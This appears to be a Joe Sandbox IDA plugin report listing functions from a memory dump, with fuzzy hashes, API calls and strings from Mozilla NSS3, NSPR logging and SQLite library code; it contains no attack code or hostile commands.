Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: e333744c4f70a24445246c9d7ee116769184b9b1c9f10822f0b3b89b887952bb
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 0771D576E01B018FD718CF99C88166AB7F2EF88308F25862DD8559B791D734E912CBD1

Function 6CDD5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CDD6013

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 1325664a9b67397abcf7cb96ae810defe78abc52155892eeba1e5f564c336a67
Instruction ID: bc63313ac5d814f6c1695fe9e4969cec6dca0366f1e2cc2ed200d2634ece1222
Opcode Fuzzy Hash: 1325664a9b67397abcf7cb96ae810defe78abc52155892eeba1e5f564c336a67
Instruction Fuzzy Hash: DFC101B1E04606CBDB048F25C4507AEBBF2EB45318F2A8519D8958BB62D731F842C7D1

Function 6CDE4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CDE5125

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: caf2f1ee449c15dfba5693630e226d33e55a6c93081ef6bc8a5c99be73da775f
Instruction ID: 010e6e94951192777823bc4bb2c08522f48013034f941340b06607b94d393db6
Opcode Fuzzy Hash: caf2f1ee449c15dfba5693630e226d33e55a6c93081ef6bc8a5c99be73da775f
Instruction Fuzzy Hash: 09E13B70E28340CFDB44DF28D59475ABBF0BF89358F158A1DE89997361E730A985CB82

Function 6CF65E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CF65B90: PR_Lock.NSS3(00010000,?,00000000,?,6CE4DF9B), ref: 6CF65B9E
Part of subcall function 6CF65B90: PR_Unlock.NSS3 ref: 6CF65BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CF65E23,6CE4E154), ref: 6CF65EBF

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 7bb2803620d08b343148f50ed2508af7caaaf3b7754851fe36d873fea02cce1b
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 59518C72E0021A8FDB18CF59C8816AEF7B2FF98314B19867DD816B7755D730A941CBA0

Function 6CF1DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c353e1fc7e37ae3aed40447a78a1d319d450e825f6bbe1361e7c8b60e8d8c143
Instruction ID: ccd4775b9a86f73df6951182c70f66222e8b1d53b3fd9de096bdb25e57c736ce
Opcode Fuzzy Hash: c353e1fc7e37ae3aed40447a78a1d319d450e825f6bbe1361e7c8b60e8d8c143
Instruction Fuzzy Hash: C3F18E71A05205CFDB09CF19C494BAAB7B2BF89318F298168D8099FB51CB35ED42CBD1

Function 6CEB1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 122be45a27428f10f7edf709c067fae71b87b8bd640f0f6e7f8768d0ce2dfb02
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: D4D158329046568BDB018E58C9843FA7773AF96338F2D4329D8643B7C6C37AA906C3D0

Function 6CF3B8F0 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID:
API String ID: 2619041689-0
Opcode ID: 23f7722d3b277fd3ae4806ad4fefe4f44a9bbbfc1f2b1a26fab617b4acd91c21
Instruction ID: af9b1160b4098896f1a641c2fe7abbb0b29af9d1a371b1c2ccafd4ed7a814d02
Opcode Fuzzy Hash: 23f7722d3b277fd3ae4806ad4fefe4f44a9bbbfc1f2b1a26fab617b4acd91c21
Instruction Fuzzy Hash: C471A071F01654AFDB04CF69D8906AEBBF6AF88308F145429E848DB751EB30DD46C7A1

Function 6CE48EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e9e086c6bbb2e46dff8e160eb7006deb0d3401b9c85e10d201608c1665c80fd
Instruction ID: 4f0d53fdb126c2cc2b88ad4ce65a027e56d4c242b778034ca2f316865777ea62
Opcode Fuzzy Hash: 8e9e086c6bbb2e46dff8e160eb7006deb0d3401b9c85e10d201608c1665c80fd
Instruction Fuzzy Hash: FF110132A002198BD728CF25E884B5AB7B5FF4231CF24826AD805CFB41C375E882C7C1

Function 6CF20C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5422d9346c6bdd174b23935f839651f224539bd1a77ece5741be5d78094884f9
Instruction ID: 5952516a7ac6a95e7a858b5f395a04a7801ce8bfa659baae48b53eacc8470e3d
Opcode Fuzzy Hash: 5422d9346c6bdd174b23935f839651f224539bd1a77ece5741be5d78094884f9
Instruction Fuzzy Hash: DE11CEB67043059FCB00DF68C89066A7BB6FF85368F14806DD8198B711DBB5E806CBA0

Function 6CE93FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: fe18d8bf82f0c72965c9481d5ea96570a2f80fcde4b2d4d9aacda632c2c50d55
Instruction ID: f9ee19c097990a47064c48553e9249717cc6ee80a199f821c86d2d10ab757453
Opcode Fuzzy Hash: fe18d8bf82f0c72965c9481d5ea96570a2f80fcde4b2d4d9aacda632c2c50d55
Instruction Fuzzy Hash: E8F0BE70E047598BCB40DF28D4406DEB7F4EF09244F108619EC89AB300EB30AAC4C7D1

Function 6CF20D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 6b43fe7e7222c49e0908d74db5cb051c354b2e857f64fdd6f98ed908819d7c2b
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 5FE06D3B243058A7DB148E49C460BAA7359DF81719FE48079CC599BE01DA77F8038781

Function 6CE4CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbd402b2b5878cdf354de276c9b63dd1a5ed2a044662a3002936d701d39e3921
Instruction ID: 2d3a7a76e2588cdfd77e269208fd3c2b7723160367e224c93fb72e1beea2855a
Opcode Fuzzy Hash: fbd402b2b5878cdf354de276c9b63dd1a5ed2a044662a3002936d701d39e3921
Instruction Fuzzy Hash: A4C04838254608CFC744DA08E599AA43BA8AB096507040094EA028B721DB21F800CA84

Function 6CEB5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CEB5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEB5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CEB5E5C
free.MOZGLUE(00000000), ref: 6CEB5E7E
free.MOZGLUE(00000000), ref: 6CEB5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CEB5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CEB5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEB5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CEB5EF0
free.MOZGLUE(00000000), ref: 6CEB5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEB5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CEB5F5B
free.MOZGLUE(00000000), ref: 6CEB5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CEB5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CEB5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEB5FC4
free.MOZGLUE(00000000), ref: 6CEB5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEB5FE9
free.MOZGLUE(00000000), ref: 6CEB5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEB600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEB6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CEB605A
PR_smprintf.NSS3(6CF8AAF9,00000000), ref: 6CEB606A
free.MOZGLUE(00000000), ref: 6CEB607C
free.MOZGLUE(00000000), ref: 6CEB609A
free.MOZGLUE(00000000), ref: 6CEB60B2
free.MOZGLUE(?), ref: 6CEB60CE

Strings

readOnly, xrefs: 6CEB5E56
configDir=, xrefs: 6CEB5F9D
%s/%s, xrefs: 6CEB6055
secmod.db, xrefs: 6CEB5EA0
flags, xrefs: 6CEB5E3A, 6CEB5EC6, 6CEB5F30
forceSecmodChoice, xrefs: 6CEB5F55
noModDB, xrefs: 6CEB5EEA
secmod=, xrefs: 6CEB5FB1
pkcs11.txt, xrefs: 6CEB5F47, 6CEB5F7C, 6CEB603A, 6CEB6053

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 444b8d8e44a73a2e49ff0afc533ec6572730a1ea829b651bf888895433622367
Instruction ID: 7689b95bcba72486cb6b96a64f97adbdfcf40409a872f18bb0bf25a383cde95a
Opcode Fuzzy Hash: 444b8d8e44a73a2e49ff0afc533ec6572730a1ea829b651bf888895433622367
Instruction Fuzzy Hash: A991E5F4E052059BEB118F65DE81BBA7BB89F0624CF280065EC55FBB41E732D905C7A2

Function 6CE41D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CE41DA3

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CE41DB2

Part of subcall function 6CE41240: TlsGetValue.KERNEL32(00000040,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41267
Part of subcall function 6CE41240: EnterCriticalSection.KERNEL32(?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE4127C
Part of subcall function 6CE41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41291
Part of subcall function 6CE41240: PR_Unlock.NSS3(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE412A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE41DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6CE41E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6CE41EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6CE41ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6CE41EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CE41F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CE41F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CE41F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CE41F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CE41F83
PR_SetLogFile.NSS3(00000000), ref: 6CE41FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CE41FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CE41FCB
free.MOZGLUE(00000000), ref: 6CE41FD2

Strings

NSPR_LOG_MODULES, xrefs: 6CE41DAD
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CE41E27
sync, xrefs: 6CE41E46
, %n, xrefs: 6CE41E6B
NSPR_LOG_FILE, xrefs: 6CE41F69
timestamp, xrefs: 6CE41EC4
bufsize, xrefs: 6CE41E9B
Unable to create nspr log file '%s', xrefs: 6CE41FB3
append, xrefs: 6CE41EE6
all, xrefs: 6CE41F0E

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 38628d609e9ba81b3513f5429e65426bff01ffad8c6c3b09c93eba27cdc69c5c
Instruction ID: de7b6f77756fd9a860c2380bec82bacd0c3f40990bfe50bd18560ab3080d4cb2
Opcode Fuzzy Hash: 38628d609e9ba81b3513f5429e65426bff01ffad8c6c3b09c93eba27cdc69c5c
Instruction Fuzzy Hash: B451A3B1E002499BDF00DBE5EC45B9EB7B8AF0134DF288528E815DBB01E771E529CB95

Function 6CF26E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE3F9C9,?,6CE3F4DA,6CE3F9C9,?,?,6CE0369A), ref: 6CDDCA7A
Part of subcall function 6CDDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDDCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CDEBE66), ref: 6CF26E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CDEBE66), ref: 6CF26E98
sqlite3_snprintf.NSS3(?,00000000,6CF8AAF9,?,?,?,?,?,?,6CDEBE66), ref: 6CF26EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CDEBE66), ref: 6CF26ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CDEBE66), ref: 6CF26EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CDEBE66), ref: 6CF26FA6
sqlite3_snprintf.NSS3(?,00000000,6CF8AAF9,00000000,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF26FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF27014
sqlite3_free.NSS3(00000000,?,?,?,?,6CDEBE66), ref: 6CF2701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CDEBE66), ref: 6CF27030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF2705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CDEBE66), ref: 6CF27079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF27097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CDEBE66), ref: 6CF270A0

Strings

winGetTempname2, xrefs: 6CF270C4
winGetTempname5, xrefs: 6CF27071
winGetTempname4, xrefs: 6CF27046
mz_etilqs_, xrefs: 6CF26F18
winGetTempname1, xrefs: 6CF2708F

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 969db1f21f77bb6d765c04974266b0ca40064d7961a230a73dee0265b60ce9aa
Instruction ID: 006b15c0a96bb7121b17f37f10d7bf53b9682056a0c82d1b6b24ed2498fab57e
Opcode Fuzzy Hash: 969db1f21f77bb6d765c04974266b0ca40064d7961a230a73dee0265b60ce9aa
Instruction Fuzzy Hash: 23518C72E051115BE71497B0AC61BBB36669F92318F144538E81197FD1FF2AE90E82E3

Function 6CEB4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

